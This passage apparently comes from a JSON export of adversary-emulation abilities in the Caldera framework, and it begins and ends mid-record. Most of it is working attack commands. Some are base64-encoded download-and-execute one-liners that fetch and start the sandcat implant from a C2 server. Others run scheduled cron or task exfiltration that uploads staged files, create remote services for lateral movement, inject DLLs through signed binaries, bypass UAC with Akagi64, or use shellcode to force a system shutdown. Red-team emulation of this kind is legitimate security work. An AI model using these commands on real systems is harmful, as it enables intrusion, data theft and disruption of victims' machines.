"c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtc2VydmVyICRzZXJ2ZXIgLXY="}, {"description": "(ARM64) Deploy as a blue-team agent instead of red", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgJHNlcnZlci9maWxlL2Rvd25sb2FkIDI+JjEgfCBncmVwIC1pICJDb250ZW50LURpc3Bvc2l0aW9uIiB8IGdyZXAgLWlvICJmaWxlbmFtZT0uKiIgfCBjdXQgLWQnPScgLWYyIHwgdHIgLWQgJyJccicpICYmIGNobW9kICt4ICRhZ2VudCAyPi9kZXYvbnVsbDtub2h1cCAuLyRhZ2VudCAtc2VydmVyICRzZXJ2ZXIgLWdyb3VwIGJsdWUgJg=="}, {"description": "(ARM64) Download with a random name and start as a background process", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgJHNlcnZlci9maWxlL2Rvd25sb2FkIDI+JjEgfCBncmVwIC1pICJDb250ZW50LURpc3Bvc2l0aW9uIiB8IGdyZXAgLWlvICJmaWxlbmFtZT0uKiIgfCBjdXQgLWQnPScgLWYyIHwgdHIgLWQgJyJccicpICYmIGNobW9kICt4ICRhZ2VudCAyPi9kZXYvbnVsbDtub2h1cCAuLyRhZ2VudCAtc2VydmVyICRzZXJ2ZXIgJg=="}, {"description": "(ARM64) Compile red-team agent with a comma-separated list of extensions (requires GoLang).", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6I3thZ2VudC5leHRlbnNpb25zfSIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtc2VydmVyICRzZXJ2ZXIgLXY="}, {"description": "(ARM64) Download with GIST C2", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6Z2lzdCIgLUggImMyOmdpc3QiICRzZXJ2ZXIvZmlsZS9kb3dubG9hZCA+ICN7YWdlbnRzLmltcGxhbnRfbmFtZX07Y2htb2QgK3ggI3thZ2VudHMuaW1wbGFudF9uYW1lfTsuLyN7YWdlbnRzLmltcGxhbnRfbmFtZX0gLWMyIEdJU1QgLXY="}, {"description": "(ARM64) Deploy as a P2P agent with known peers included in compiled agent", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmRhcndpbiIgLUggImFyY2hpdGVjdHVyZTphcm02NCIgLUggImdvY2F0LWV4dGVuc2lvbnM6cHJveHlfaHR0cCIgLUggImluY2x1ZGVQcm94eVBlZXJzOkhUVFAiICRzZXJ2ZXIvZmlsZS9kb3dubG9hZCA+ICN7YWdlbnRzLmltcGxhbnRfbmFtZX07Y2htb2QgK3ggI3thZ2VudHMuaW1wbGFudF9uYW1lfTsuLyN7YWdlbnRzLmltcGxhbnRfbmFtZX0gLXNlcnZlciAkc2VydmVyIC1saXN0ZW5QMlAgLXY="}], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -server $server -group red -v", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "Deploy as a blue-team agent instead of red", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAkc2VydmVyL2ZpbGUvZG93bmxvYWQgMj4mMSB8IGdyZXAgLWkgIkNvbnRlbnQtRGlzcG9zaXRpb24iIHwgZ3JlcCAtaW8gImZpbGVuYW1lPS4qIiB8IGN1dCAtZCc9JyAtZjIgfCB0ciAtZCAnIlxyJykgJiYgY2htb2QgK3ggJGFnZW50IDI+L2Rldi9udWxsO25vaHVwIC4vJGFnZW50IC1zZXJ2ZXIgJHNlcnZlciAtZ3JvdXAgYmx1ZSAm"}, {"description": "Download with a random name and start as a background process", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjthZ2VudD0kKGN1cmwgLXN2a09KIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAkc2VydmVyL2ZpbGUvZG93bmxvYWQgMj4mMSB8IGdyZXAgLWkgIkNvbnRlbnQtRGlzcG9zaXRpb24iIHwgZ3JlcCAtaW8gImZpbGVuYW1lPS4qIiB8IGN1dCAtZCc9JyAtZjIgfCB0ciAtZCAnIlxyJykgJiYgY2htb2QgK3ggJGFnZW50IDI+L2Rldi9udWxsO25vaHVwIC4vJGFnZW50IC1zZXJ2ZXIgJHNlcnZlciAm"}, {"description": "Compile red-team agent with a comma-separated list of extensions (requires GoLang).", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAtSCAiZ29jYXQtZXh0ZW5zaW9uczoje2FnZW50LmV4dGVuc2lvbnN9IiAkc2VydmVyL2ZpbGUvZG93bmxvYWQgPiAje2FnZW50cy5pbXBsYW50X25hbWV9O2NobW9kICt4ICN7YWdlbnRzLmltcGxhbnRfbmFtZX07Li8je2FnZW50cy5pbXBsYW50X25hbWV9IC1zZXJ2ZXIgJHNlcnZlciAtZ3JvdXAgcmVkIC12"}, {"description": "Download with GIST C2", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAtSCAiZ29jYXQtZXh0ZW5zaW9uczpnaXN0IiAtSCAiYzI6Z2lzdCIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtYzIgR0lTVCAtdg=="}, {"description": "Deploy as a P2P agent with known peers included in compiled agent", "command": "c2VydmVyPSJodHRwOi8vMC4wLjAuMDo4ODg4IjtjdXJsIC1zIC1YIFBPU1QgLUggImZpbGU6c2FuZGNhdC5nbyIgLUggInBsYXRmb3JtOmxpbnV4IiAtSCAiZ29jYXQtZXh0ZW5zaW9uczpwcm94eV9odHRwIiAtSCAiaW5jbHVkZVByb3h5UGVlcnM6SFRUUCIgJHNlcnZlci9maWxlL2Rvd25sb2FkID4gI3thZ2VudHMuaW1wbGFudF9uYW1lfTtjaG1vZCAreCAje2FnZW50cy5pbXBsYW50X25hbWV9Oy4vI3thZ2VudHMuaW1wbGFudF9uYW1lfSAtc2VydmVyICRzZXJ2ZXIgLWxpc3RlblAyUCAtdg=="}], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$server=\"#{app.contact.http}\";\n$url=\"$server/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"sandcat.go\");\n$data=$wc.DownloadData($url);\nget-process | ? {$_.modules.filename -like \"C:\\Users\\Public\\#{agents.implant_name}.exe\"} | stop-process -f;\nrm -force \"C:\\Users\\Public\\#{agents.implant_name}.exe\" -ea ignore;\n[io.file]::WriteAllBytes(\"C:\\Users\\Public\\#{agents.implant_name}.exe\",$data) | Out-Null;\nStart-Process -FilePath C:\\Users\\Public\\#{agents.implant_name}.exe -ArgumentList \"-server $server -group red\" -WindowStyle hidden;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [{"description": "Deploy as a blue-team agent instead of red", "command": "JHNlcnZlcj0iaHR0cDovLzAuMC4wLjA6ODg4OCI7JHVybD0iJHNlcnZlci9maWxlL2Rvd25sb2FkIjskd2M9TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskd2MuSGVhZGVycy5hZGQoInBsYXRmb3JtIiwid2luZG93cyIpOyR3Yy5IZWFkZXJzLmFkZCgiZmlsZSIsInNhbmRjYXQuZ28iKTskZGF0YT0kd2MuRG93bmxvYWREYXRhKCR1cmwpO2dldC1wcm9jZXNzIHwgPyB7JF8ubW9kdWxlcy5maWxlbmFtZSAtbGlrZSAiQzpcVXNlcnNcUHVibGljXCN7YWdlbnRzLmltcGxhbnRfbmFtZX0uZXhlIn0gfCBzdG9wLXByb2Nlc3MgLWY7cm0gLWZvcmNlICJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUiIC1lYSBpZ25vcmU7W2lvLmZpbGVdOjpXcml0ZUFsbEJ5dGVzKCJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUiLCRkYXRhKSB8IE91dC1OdWxsO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoIEM6XFVzZXJzXFB1YmxpY1wje2FnZW50cy5pbXBsYW50X25hbWV9LmV4ZSAtQXJndW1lbnRMaXN0ICItc2VydmVyICRzZXJ2ZXIgLWdyb3VwIGJsdWUiIC1XaW5kb3dTdHlsZSBoaWRkZW47"}, {"description": "Compile red-team agent with a comma-separated list of extensions (requires GoLang).", "command": "JHNlcnZlcj0iaHR0cDovLzAuMC4wLjA6ODg4OCI7JHVybD0iJHNlcnZlci9maWxlL2Rvd25sb2FkIjskd2M9TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskd2MuSGVhZGVycy5hZGQoInBsYXRmb3JtIiwid2luZG93cyIpOyR3Yy5IZWFkZXJzLmFkZCgiZmlsZSIsInNhbmRjYXQuZ28iKTskd2MuSGVhZGVycy5hZGQoImdvY2F0LWV4dGVuc2lvbnMiLCAiI3thZ2VudC5leHRlbnNpb25zfSIpOyRkYXRhPSR3Yy5Eb3dubG9hZERhdGEoJHVybCk7Z2V0LXByb2Nlc3MgfCA/IHskXy5tb2R1bGVzLmZpbGVuYW1lIC1saWtlICJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUifSB8IHN0b3AtcHJvY2VzcyAtZjtybSAtZm9yY2UgIkM6XFVzZXJzXFB1YmxpY1wje2FnZW50cy5pbXBsYW50X25hbWV9LmV4ZSIgLWVhIGlnbm9yZTtbaW8uZmlsZV06OldyaXRlQWxsQnl0ZXMoIkM6XFVzZXJzXFB1YmxpY1wje2FnZW50cy5pbXBsYW50X25hbWV9LmV4ZSIsJGRhdGEpIHwgT3V0LU51bGw7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggQzpcVXNlcnNcUHVibGljXCN7YWdlbnRzLmltcGxhbnRfbmFtZX0uZXhlIC1Bcmd1bWVudExpc3QgIi1zZXJ2ZXIgJHNlcnZlciAtZ3JvdXAgcmVkIiAtV2luZG93U3R5bGUgaGlkZGVuOw=="}, {"description": "Deploy as a P2P agent with known peers included in compiled agent", "command": "JHNlcnZlcj0iaHR0cDovLzAuMC4wLjA6ODg4OCI7JHVybD0iJHNlcnZlci9maWxlL2Rvd25sb2FkIjskd2M9TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskd2MuSGVhZGVycy5hZGQoInBsYXRmb3JtIiwid2luZG93cyIpOyR3Yy5IZWFkZXJzLmFkZCgiZmlsZSIsInNhbmRjYXQuZ28iKTskd2MuSGVhZGVycy5hZGQoImdvY2F0LWV4dGVuc2lvbnMiLCJwcm94eV9odHRwIik7JHdjLkhlYWRlcnMuYWRkKCJpbmNsdWRlUHJveHlQZWVycyIsIkhUVFAiKTskZGF0YT0kd2MuRG93bmxvYWREYXRhKCR1cmwpO2dldC1wcm9jZXNzIHwgPyB7JF8ubW9kdWxlcy5maWxlbmFtZSAtbGlrZSAiQzpcVXNlcnNcUHVibGljXCN7YWdlbnRzLmltcGxhbnRfbmFtZX0uZXhlIn0gfCBzdG9wLXByb2Nlc3MgLWY7cm0gLWZvcmNlICJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUiIC1lYSBpZ25vcmU7W2lvLmZpbGVdOjpXcml0ZUFsbEJ5dGVzKCJDOlxVc2Vyc1xQdWJsaWNcI3thZ2VudHMuaW1wbGFudF9uYW1lfS5leGUiLCRkYXRhKSB8IE91dC1OdWxsO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoIEM6XFVzZXJzXFB1YmxpY1wje2FnZW50cy5pbXBsYW50X25hbWV9LmV4ZSAtQXJndW1lbnRMaXN0ICItc2VydmVyICRzZXJ2ZXIgLWdyb3VwIHJlZCAtbGlzdGVuUDJQIC12IiAtV2luZG93U3R5bGUgaGlkZGVuOw=="}], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["command-and-control"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "sandcat", "delete_payload": true}, {"ability_id": "47abe1f5-55a5-46cc-8cad-506dac8ea6d9", "tactic": "discovery", "technique_name": "Network Service Scanning", "technique_id": "T1046", "name": "Scan IP for ports", "description": "Use dropped scanner to find open popular ports", "executors": [{"name": "sh", "platform": "darwin", "command": "python3 scanner.py -i #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": ["scanner.py"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.scan", "parserconfigs": [{"source": "remote.host.ip", "edge": "has_open_port", "target": "remote.host.port", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "python3 scanner.py -i #{remote.host.ip}", "code": null, "language": null, "build_target": null, "payloads": ["scanner.py"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.scan", "parserconfigs": [{"source": "remote.host.ip", "edge": "has_open_port", "target": "remote.host.port", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "9a30740d-3aa8-4c23-8efa-d51215e8a5b9", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Scan WIFI networks", "description": "View all potential WIFI networks on host", "executors": [{"name": "sh", "platform": "darwin", "command": "./#{payload:9f639067-370a-40ba-b7ac-6f1c15d5a158} scan", "code": null, "language": null, "build_target": null, "payloads": ["9f639067-370a-40ba-b7ac-6f1c15d5a158"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "./#{payload:9f639067-370a-40ba-b7ac-6f1c15d5a158} scan", "code": null, "language": null, "build_target": null, "payloads": ["9f639067-370a-40ba-b7ac-6f1c15d5a158"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": ".\\#{payload:28f9bf43-4f14-4965-9bd9-b70fd6993d8e} -Scan", "code": null, "language": null, "build_target": null, "payloads": ["28f9bf43-4f14-4965-9bd9-b70fd6993d8e"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "110cea7a-5b03-4443-92ee-7ccefaead451", "tactic": "exfiltration", "technique_name": "Scheduled Transfer", "technique_id": "T1029", "name": "Scheduled Exfiltration", "description": "This ability exfiltrates the staged directory at a scheduled time.", "executors": [{"name": "sh", "platform": "linux", "command": "crontab -l > /tmp/origcron;\ncrontab -l > /tmp/mycron;\necho \"0 12 * * * curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload\" >> /tmp/mycron;\ncrontab /tmp/mycron;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["rm /tmp/mycron;\ncrontab /tmp/origcron;\nrm /tmp/origcron;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$commandString = '$fieldName = \\\"#{host.dir.compress}\";\n$filePath = \\\"#{host.dir.compress}\";\n$url = \\\"#{server}/file/upload\\\";\nAdd-Type -AssemblyName \\\"System.Net.Http\\\";\n\n$client = New-Object System.Net.Http.HttpClient;\n$content = New-Object System.Net.Http.MultipartFormDataContent;\n$fileStream = [System.IO.File]::OpenRead($filePath);\n$fileName = [System.IO.Path]::GetFileName($filePath);\n$fileContent = New-Object System.Net.Http.StreamContent($fileStream);\n\n$xRequestIdHeader = \\\"X-Request-Id\\\";\n$xRequestIdField = $env:COMPUTERNAME + \\\"-#{paw}\\\";\n$content.Add($fileContent, $fieldName, $fileName);\n$client.DefaultRequestHeaders.Add($xRequestIdHeader, $xRequestIdField);\n\n$userAgentHeader = \\\"User-Agent\\\";\n$userAgentField = \\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\\\";\n$client.DefaultRequestHeaders.Add($userAgentHeader, $userAgentField);\n$result = $client.PostAsync($url, $content).Result;$result.EnsureSuccessStatusCode();';\n\n$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"$commandString\";\n$trigger = New-ScheduledTaskTrigger -Once -At 12pm;\n\nRegister-ScheduledTask -TaskName \"Scheduled exfiltration\" -Trigger $trigger -Action $action;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Unregister-ScheduledTask -TaskName \"Scheduled exfiltration\" -Confirm:$false;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "316251ed-6a28-4013-812b-ddf5b5b007f8", "tactic": "collection", "technique_name": "Screen Capture", "technique_id": "T1113", "name": "Screen Capture", "description": "capture the contents of the screen", "executors": [{"name": "sh", "platform": "darwin", "command": "for i in {1..5}; do screencapture -t png screen-$i.png; echo \"$(cd \"$(dirname \"$1\")\"; pwd -P)/$(basename \"screen-$i.png\")\"; sleep 5; done;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.screenshot.png", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["for i in {1..5}; do /bin/rm screen-$i.png; done;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$loadResult = [Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\");\nfunction screenshot([Drawing.Rectangle]$bounds, $path) {\n   $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height;\n   $graphics = [Drawing.Graphics]::FromImage($bmp);\n   $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);\n   $bmp.Save($path);\n   $graphics.Dispose();\n   $bmp.Dispose();\n}\nif ($loadResult) {\n  $bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1000, 900);\n  $dest = \"$HOME\\Desktop\\screenshot.png\";\n  screenshot $bounds $dest;\n  if (Test-Path -Path $dest) {\n    $dest;\n    exit 0;\n  };\n};\nexit 1;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.screenshot.png", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["$filePath = \"$HOME\\Desktop\\screenshot.png\"; if (Test-Path -Path $filePath) { del $filePath; };"], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$loadResult = [Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\");\nfunction screenshot([Drawing.Rectangle]$bounds, $path) {\n   $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height;\n   $graphics = [Drawing.Graphics]::FromImage($bmp);\n   $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);\n   $bmp.Save($path);\n   $graphics.Dispose();\n   $bmp.Dispose();\n}\nif ($loadResult) {\n  $bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1000, 900);\n  $dest = \"$HOME\\Desktop\\screenshot.png\";\n  screenshot $bounds $dest;\n  if (Test-Path -Path $dest) {\n    $dest;\n    exit 0;\n  };\n};\nexit 1;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.screenshot.png", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["$filePath = \"$HOME\\Desktop\\screenshot.png\"; if (Test-Path -Path $filePath) { del $filePath; };"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "95727b87-175c-4a69-8c7a-a5d82746a753", "tactic": "execution", "technique_name": "System Services: Service Execution", "technique_id": "T1569.002", "name": "Service Creation", "description": "Create a service named \"sandsvc\" to execute remote 54ndc57 binary named \"s4ndc4t.exe\"", "executors": [{"name": "psh", "platform": "windows", "command": "sc.exe \\\\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= \"cmd /c start C:\\Users\\Public\\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}\" displayname= \"Sandcat Execution\";\nsc.exe \\\\#{remote.host.fqdn} start sandsvc;\nStart-Sleep -s 15;\nGet-Process -ComputerName #{remote.host.fqdn} s4ndc4t;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 300, "parsers": [], "cleanup": ["sc.exe \\\\#{remote.host.fqdn} stop sandsvc;\nsc.exe \\\\#{remote.host.fqdn} delete sandsvc /f;\ntaskkill /s \\\\#{remote.host.fqdn} /FI \"Imagename eq s4ndc4t.exe\""], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0821b0b0-7902-4a7b-8052-80bda5a43684", "tactic": "impact", "technique_name": "Endpoint Denial of Service", "technique_id": "T1499", "name": "Shutdown Target System", "description": "Force shutdown a target system using Process Injection and raw shellcode", "executors": [{"name": "shellcode_amd64", "platform": "linux", "command": "0x48, 0x31, 0xc0, 0x48, 0x31, 0xd2, 0x50, 0x6a, 0x77, 0x66, 0x68, 0x6e, 0x6f, 0x48, 0x89, 0xe3, 0x50, 0x66, 0x68, 0x2d, 0x68, 0x48, 0x89, 0xe1, 0x50, 0x49, 0xb8, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x49, 0xba, 0x73, 0x68, 0x75, 0x74, 0x64, 0x6f, 0x77, 0x6e, 0x41, 0x52, 0x41, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x53, 0x51, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x83, 0xc0, 0x3b, 0x0f, 0x05", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "shellcode_386", "platform": "linux", "command": "0x48, 0x31, 0xc0, 0x48, 0x31, 0xd2, 0x50, 0x6a, 0x77, 0x66, 0x68, 0x6e, 0x6f, 0x48, 0x89, 0xe3, 0x50, 0x66, 0x68, 0x2d, 0x68, 0x48, 0x89, 0xe1, 0x50, 0x49, 0xb8, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x49, 0xba, 0x73, 0x68, 0x75, 0x74, 0x64, 0x6f, 0x77, 0x6e, 0x41, 0x52, 0x41, 0x50, 0x48, 0x89, 0xe7, 0x52, 0x53, 0x51, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x83, 0xc0, 0x3b, 0x0f, 0x05", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e5bcefee-262d-4568-a261-e8a20855ec81", "tactic": "defense-evasion", "technique_name": "Process Injection: Portable Executable Injection", "technique_id": "T1055.002", "name": "Signed Binary Execution - Mavinject", "description": "Leverage Mavinject (signed binary) for DLL injection", "executors": [{"name": "psh", "platform": "windows", "command": "$explorer = Get-Process -Name explorer;\nmavinject.exe $explorer.id C:\\Users\\Public\\sandcat.dll", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "a74bc239-a196-4f7e-8d5c-fe8c0266071c", "tactic": "defense-evasion", "technique_name": "Process Injection: Dynamic-link Library Injection", "technique_id": "T1055.001", "name": "Signed Binary Execution - odbcconf", "description": "Leverage odbcconf for DLL injection", "executors": [{"name": "psh", "platform": "windows", "command": "odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\sandcat.dll\"}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b7344901-0b02-4ead-baf6-e3f629ed545f", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: Bypass User Access Control", "technique_id": "T1548.002", "name": "Slui File Handler Hijack", "description": "executes the slui exe file handler hijack", "executors": [{"name": "psh", "platform": "windows", "command": ".\\Akagi64.exe 45 C:\\Windows\\System32\\cmd.exe", "code": null, "language": null, "build_target": null, "payloads": ["Akagi64.exe"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b6f545ef-f802-4537-b59d-2cb19831c8ed", "tactic": "discovery", "technique_name": "System Network Configuration Discovery", "technique_id": "T1016", "name": "Snag broadcast IP", "description": "Capture the local network broadcast IP address", "executors": [{"name": "sh", "platform": "darwin", "command": "ifconfig | grep broadcast", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "1b4fb81c-8090-426c-93ab-0a633e7a16a7", "tactic": "credential-access", "technique_name": "Network Sniffing", "technique_id": "T1040", "name": "Sniff network traffic", "description": "Perform a packet capture", "executors": [{"name": "psh", "platform": "windows", "command": "$path = \"$ENV:UserProfile\\Desktop\\pcap.etl\";\nNew-NetEventSession -Name \"PCAP\" -CaptureMode SaveToFile -LocalFilePath $path;\nAdd-NetEventProvider -Name \"Microsoft-Windows-TCPIP\" -SessionName \"PCAP\";\nStart-NetEventSession -Name \"PCAP\";\nStart-Sleep -s 60;\nStop-NetEventSession -Name \"PCAP\";\nif (Test-Path $path) {\n  echo 